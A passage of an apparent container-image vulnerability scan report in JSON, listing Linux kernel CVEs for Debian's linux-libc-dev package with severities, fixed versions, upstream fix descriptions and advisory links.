"https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53255" ], "PublishedDate": "2026-06-25T09:16:43.48Z", "LastModifiedDate": "2026-11-06T17:18:16.593Z" }, { "VulnerabilityID": "CVE-2026-53262", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53262", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:83a48878432696ba15d413cae8eaa9d377ed8695d7bc2ada0d62f6d07b197bbc", "Title": "kernel: l2tp: pppol2tp: hold reference to session in pppol2tp_ioctl()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nl2tp: pppol2tp: hold reference to session in pppol2tp_ioctl()\n\npppol2tp_ioctl() read sock-\u003esk-\u003esk_user_data directly without any\nlocks or reference counting. If a controllable sleep was induced during\ncopy_from_user() (e.g. via a userfaultfd page fault sleep), a concurrent\nsocket close could trigger pppol2tp_session_close() asynchronously. This\nfrees the l2tp_session structure via the l2tp_session_del_work workqueue.\nUpon resuming, the ioctl thread dereferences the stale session pointer,\nresulting in a Use-After-Free (UAF).\n\nFix this by securely fetching the session reference using the RCU-safe,\nrefcounted helper pppol2tp_sock_to_session(sk) on entry. This locks the\nsession's refcount across the sleep. We structured the function to exit\nvia standard err breaks, guaranteeing that l2tp_session_put() is cleanly\ncalled on all return paths to drop the reference.\n\nTo preserve existing behavior we validate the session and its magic\nsignature only for the specific L2TP commands that require it. This\nensures that generic/unknown ioctls called on an unconnected socket\nstill return -ENOIOCTLCMD and correctly fall back to generic handlers\n(e.g. in sock_do_ioctl()).", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "oracle-oval": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53262", "https://git.kernel.org/linus/a213a8950414c684999dcf03edeea6c46ede172e%20%287.1-rc7%29", "https://git.kernel.org/stable/c/312ecea13b67797747eb9d4b9dab8d3846de6dfb", "https://git.kernel.org/stable/c/62f327e287cf7b595ae3f73ba72f5cd2a9e9f39f", "https://git.kernel.org/stable/c/78cdfdca88cbf731a92f3b9ee5427c633dd94e28", "https://git.kernel.org/stable/c/a213a8950414c684999dcf03edeea6c46ede172e", "https://git.kernel.org/stable/c/cc19c164a99ab706d4cb45d3c300b305c16798b5", "https://git.kernel.org/stable/c/e251d4cdfc725c9e7d686161e3b775a0e7d95053", "https://linux.oracle.com/cve/CVE-2026-53262.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062516-CVE-2026-53262-3892@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53262", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-53262" ], "PublishedDate": "2026-06-25T09:16:44.19Z", "LastModifiedDate": "2026-10-30T13:19:14.403Z" }, { "VulnerabilityID": "CVE-2026-53264", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53264", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e491a83e5955f46e996b301d2e94cd2649630301f06cae3ae7d053563e03cb3b", "Title": "kernel: net/sched: act_api: use RCU with deferred freeing for action lifecycle", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_api: use RCU with deferred freeing for action lifecycle\n\nWhen NEWTFILTER and DELFILTER are run concurrently it is possible to create a\nrace with an associated action.\n\nLet's illustrate with CPU0 running NEWTFILTER and CPU1 running DELFILTER:\n\n 0: mutex_lock() \u003c-- holds the idr lock\n 0: rcu_read_lock()\n 0: p = idr_find(idr, index) \u003c-- action p is valid (RCU protects IDR)\n 0: mutex_unlock() \u003c-- releases the idr lock\n 1: refcount_dec_and_mutex_lock() \u003c-- refcnt 1-\u003e0, mutex held\n 1: idr_remove(idr, index) \u003c-- Action removed from IDR\n 1: mutex_unlock() \u003c-- mutex released allowing us to delete the action\n 1: tcf_action_cleanup(p); kfree(p) \u003c-- Kfrees p immediately, no deferral\n 0: refcount_inc_not_zero(\u0026p-\u003etcfa_refcnt) \u003c-- ouch, UAF p points to freed memory\n\nThis patch fixes the race condition between NEWTFILTER and DELFILTER by\nadding struct rcu_head to tc_action used in the deferral and introducing a\ncall_rcu() in the delete path to defer the final kfree().\n\nNote: this is a revert of commit d7fb60b9cafb (\"net_sched: get rid of tcfa_rcu\")\nbut also modernization/simplification to directly use kfree_rcu().\n\nLet's illustrate the new restored code path:\n\n 0: rcu_read_lock()\n 1: refcount_dec_and_mutex_lock() \u003c-- refcnt 1-\u003e0, mutex held\n 1: idr_remove(idr, index)\n 1: mutex_unlock()\n 1: call_rcu(\u0026p-\u003etcfa_rcu, tcf_action_rcu_free) \u003c-- defer kfree after grace period\n 0: p = idr_find(idr, index)\n 0: refcount_inc_not_zero(\u0026p-\u003etcfa_refcnt) \u003c-- fails, refcnt already 0\n 1: rcu_read_unlock() \u003c-- release so freeing can run after grace period\n\nAfter CPU1 calls idr_remove(), the object is no longer reachable through the IDR.\nCPU0's subsequent idr_find() will return NULL, and even if it still held a\nstale pointer, the immediate kfree() is now deferred until after the RCU grace\nperiod, so no UAF can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:54443", "https://access.redhat.com/security/cve/CVE-2026-53264", "https://bugzilla.redhat.com/2492823", "https://bugzilla.redhat.com/2492851", "https://bugzilla.redhat.com/show_bug.cgi?id=2492823", "https://bugzilla.redhat.com/show_bug.cgi?id=2492851", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53202", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53264", "https://errata.almalinux.org/9/ALSA-2026-54443.html", "https://errata.rockylinux.org/RLSA-2026:54443", "https://git.kernel.org/linus/5057e1aca011e51ef51498c940ef96f3d3e8a305%20%287.1-rc7%29", "https://git.kernel.org/stable/c/18af5d2ef0c4f65787fd1280c8b23286b9f2a835", "https://git.kernel.org/stable/c/1f1b98fea6b9ea30507d0f2fbff6750292d097e2", "https://git.kernel.org/stable/c/5057e1aca011e51ef51498c940ef96f3d3e8a305", "https://git.kernel.org/stable/c/5dd51e09020c65aa53cf128e5e3517cd53b3c113", "https://git.kernel.org/stable/c/8b136f18ac4b2ace5aaad3305b3f8a5d8165a009", "https://git.kernel.org/stable/c/91d105d2cbe002f9c7b43a6183adedc37e1da1f7", "https://git.kernel.org/stable/c/98b2e40879abf0245be5a5b7af69e0f6ff524ac3", "https://git.kernel.org/stable/c/b60e9391142e983fab2be53497aa8f71fdd09cd5", "https://linux.oracle.com/cve/CVE-2026-53264.html", "https://linux.oracle.com/errata/ELSA-2026-54443.html", "https://lore.kernel.org/linux-cve-announce/2026062517-CVE-2026-53264-081f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53264", "https://starlabs.sg/blog/2026/07-when-ai-makes-0-days-feel-like-n-days/", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53264" ], "PublishedDate": "2026-06-25T09:16:44.4Z", "LastModifiedDate": "2026-10-15T02:20:07.843Z" }, { "VulnerabilityID": "CVE-2026-53266", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53266", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0428e391577ca5cb019f6a4cab3c9f50cf6ed8a4c5dc4034749254a3c93d06ce", "Title": "kernel: netfilter: ebtables SNAT target writes to shared memory pages during ARP hardware address rewrite", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: bridge: make ebt_snat ARP rewrite writable\n\nThe ebtables SNAT target keeps the Ethernet source address rewrite\nbehind skb_ensure_writable(skb, 0). This is intentional: at the bridge\nebtables hooks the Ethernet header is addressed through\nskb_mac_header()/eth_hdr(), while skb-\u003edata points at the Ethernet\npayload. Asking skb_ensure_writable() for ETH_HLEN bytes would check\nthe payload, not the Ethernet header, and would reintroduce the small\npacket regression fixed by commit 63137bc5882a.\n\nHowever, the optional ARP sender hardware address rewrite is different.\nIt writes through skb_store_bits() at an offset relative to skb-\u003edata:\n\n skb_store_bits(skb, sizeof(struct arphdr), info-\u003emac, ETH_ALEN)\n\nskb_header_pointer() only safely reads the ARP header; it does not make\nthe later sender hardware address range writable. If that range is\nstill held in a nonlinear skb fragment backed by a splice-imported file\npage, skb_store_bits() maps the frag page and copies the new MAC address\ndirectly into it.\n\nEnsure the ARP SHA range is writable before reading the ARP header and\nbefore calling skb_store_bits().", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:36645", "https://access.redhat.com/security/cve/CVE-2026-53266", "https://bugzilla.redhat.com/2467019", "https://bugzilla.redhat.com/2483519", "https://bugzilla.redhat.com/2485368", "https://errata.almalinux.org/9/ALSA-2026-36645.html", "https://git.kernel.org/linus/67ba971ae02514d85818fe0c32549ab4bfa3bf49%20%287.1-rc7%29", "https://git.kernel.org/stable/c/153ea96c806aea395daba907a4f88480b6ad5093", "https://git.kernel.org/stable/c/67ba971ae02514d85818fe0c32549ab4bfa3bf49", "https://git.kernel.org/stable/c/76280b78cc9f23bdc6438e10ad6dff148ef8375b", "https://git.kernel.org/stable/c/afd64b59c3de9bbbdd3759e834fdc55cda716e0b", "https://git.kernel.org/stable/c/b18675263db1147c8e1cab625400c13a0d87bd2d", "https://git.kernel.org/stable/c/b7e91939ba9be805a62a257fa4e227dffbb88fa0", "https://git.kernel.org/stable/c/bf84ad7c7a9ede46e31afaa41a1ba06a159e8c87", "https://git.kernel.org/stable/c/c9b5ff59feffb92a147a84a5aa28acd2cb8ff4c5", "https://linux.oracle.com/cve/CVE-2026-53266.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://lore.kernel.org/linux-cve-announce/2026062517-CVE-2026-53266-6162@gregkh/T/#u", "https://nvd.nist.gov/vuln/detail/CVE-2026-53266", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-53266", "https://www.cve.org/CVERecord?id=CVE-2026-53266" ], "PublishedDate": "2026-06-25T09:16:44.643Z", "LastModifiedDate": "2026-09-19T04:17:53.58Z" }, { "VulnerabilityID": "CVE-2026-53272", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53272", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ab6484ec90af66504b54ee263f291c837c1db541ac7351d63fdd7508ba164b3b", "Title": "kernel: erofs: fix use-after-free on sbi-\u003esync_decompress", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: fix use-after-free on sbi-\u003esync_decompress\n\nz_erofs_decompress_kickoff() can race with filesystem unmount, causing\na use-after-free on sbi-\u003esync_decompress.\n\nWhen I/O completes, z_erofs_endio() calls z_erofs_decompress_kickoff()\nto queue z_erofs_decompressqueue_work() asynchronously. Then, after all\nfolios are unlocked, unmount workflow can proceed and sbi will be freed\nbefore accessing to sbi-\u003esync_decompress.\n\nThread (unmount) I/O completion kworker\n queue_work\n z_erofs_decompressqueue_work\n (all folios are unlocked)\ncleanup_mnt\n ..\n erofs_kill_sb\n erofs_sb_free\n kfree(sbi)\n access sbi-\u003esync_decompress // UAF!!", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53272", "https://git.kernel.org/linus/1aee05e814d292064bf5fa15733741040cdc48ba%20%287.1-rc7%29", "https://git.kernel.org/stable/c/00bf6868df65fa95b3854996246d15759fdc7070", "https://git.kernel.org/stable/c/1aee05e814d292064bf5fa15733741040cdc48ba", "https://git.kernel.org/stable/c/5627e57f1da68ff0146896eb3d2eed25e62adc44", "https://git.kernel.org/stable/c/59db5d8bcc65e04d8598afd81ec3a18edb407470", "https://git.kernel.org/stable/c/86ab00cf81d44b675bb23db62b88fd76c8ac8cea", "https://git.kernel.org/stable/c/95caf60da33d87ed26c28993620f0d92487b0296", "https://kernelcve.org/list/?q=CVE-2026-53272", "https://linux.oracle.com/cve/CVE-2026-53272.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026062518-CVE-2026-53272-9faa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53272", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-53272" ], "PublishedDate": "2026-06-25T09:16:45.353Z", "LastModifiedDate": "2026-11-06T17:18:17.623Z" }, { "VulnerabilityID": "CVE-2026-53277", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53277", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8c1dc26d311db5d4728c1eabf8b4f4e60f0ad0ec322033fcdfab08db19b9ab48", "Title": "kernel: KVM: arm64: Take the SRCU lock for page table walks in fault injection and AT emulation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: arm64: Take the SRCU lock for page table walks in fault injection and AT emulation\n\nwalk_s1() and kvm_walk_nested_s2() expect to be called while holding\nkvm-\u003esrcu to guard against memslot changes. While this is generally\nthe case, __kvm_at_s12() and __kvm_find_s1_desc_level() call into the\nrespective walkers without taking kvm-\u003esrcu.\n\nFix by acquiring kvm-\u003esrcu prior to the table walk in both instances.", "Severity": "HIGH", "CweIDs": [ "CWE-662", "CWE-820" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64775", "https://access.redhat.com/security/cve/CVE-2026-53277", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2454807", "https://bugzilla.redhat.com/show_bug.cgi?id=2460736", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492295", "https://bugzilla.redhat.com/show_bug.cgi?id=2492725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492745", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2492850", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502369", "https://bugzilla.redhat.com/show_bug.cgi?id=2507041", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23442", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31503", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53235", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64265", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://errata.rockylinux.org/RLSA-2026:64775", "https://git.kernel.org/linus/f2ca45b50d4216c9cc7ffabf50d9ad1932209251%20%287.1-rc7%29", "https://git.kernel.org/stable/c/0648b375aa951cc15d9e90f9ac4de71e0b51fa45", "https://git.kernel.org/stable/c/97706097f9b851cfe55c3b00b083dfc2bcf542bc", "https://git.kernel.org/stable/c/ec42b4ed1b072ea2d03f086061aa67bad6d8de39", "https://git.kernel.org/stable/c/f2ca45b50d4216c9cc7ffabf50d9ad1932209251", "https://linux.oracle.com/cve/CVE-2026-53277.html", "https://linux.oracle.com/errata/ELSA-2026-64775-0.html", "https://lore.kernel.org/linux-cve-announce/2026062520-CVE-2026-53277-4338@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53277", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-53277.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8570-1", "https://ubuntu.com/security/notices/USN-8570-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8594-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53277" ], "PublishedDate": "2026-06-25T09:16:45.897Z", "LastModifiedDate": "2026-10-21T13:19:13.393Z" }, { "VulnerabilityID": "CVE-2026-53294", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53294", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8f66aa5591d46a3cc9daea47e604fdb7a52111efdebbc242f5aa20b6f6ba8e64", "Title": "kernel: mailbox: mailbox-test: don't free the reused channel", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: mailbox-test: don't free the reused channel\n\nThe RX channel can be aliased to the TX channel if it has a different\nMMIO. This special case needs to be handled when freeing the channels\notherwise a double-free occurs.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53294", "https://git.kernel.org/linus/88ebadbf0deefdaccdab868b44ff70a0a257f473%20%287.1-rc2%29", "https://git.kernel.org/stable/c/240c71a2aea36a1a4210f911a1c32ea88777e8e4", "https://git.kernel.org/stable/c/3afca89fae501dbd7421e1777b5b8f033b1d98d0", "https://git.kernel.org/stable/c/5c209299b0113e289e238fa5f2e8f00c59f76060", "https://git.kernel.org/stable/c/5d4f3d0f64f1016cb78b400a70b67df91fac99b5", "https://git.kernel.org/stable/c/82f6dcea46cf5de65c4ba7283f7c7b34de4a324d", "https://git.kernel.org/stable/c/88ebadbf0deefdaccdab868b44ff70a0a257f473", "https://git.kernel.org/stable/c/c494a11da45ad7ec9b0ff216c3e3ace351193bb6", "https://git.kernel.org/stable/c/fc0089f82c3e36060c2c79156bc2018bfb16b56b", "https://kernelcve.org/list/?q=CVE-2026-53294", "https://lore.kernel.org/linux-cve-announce/2026062617-CVE-2026-53294-0b30@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53294", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", 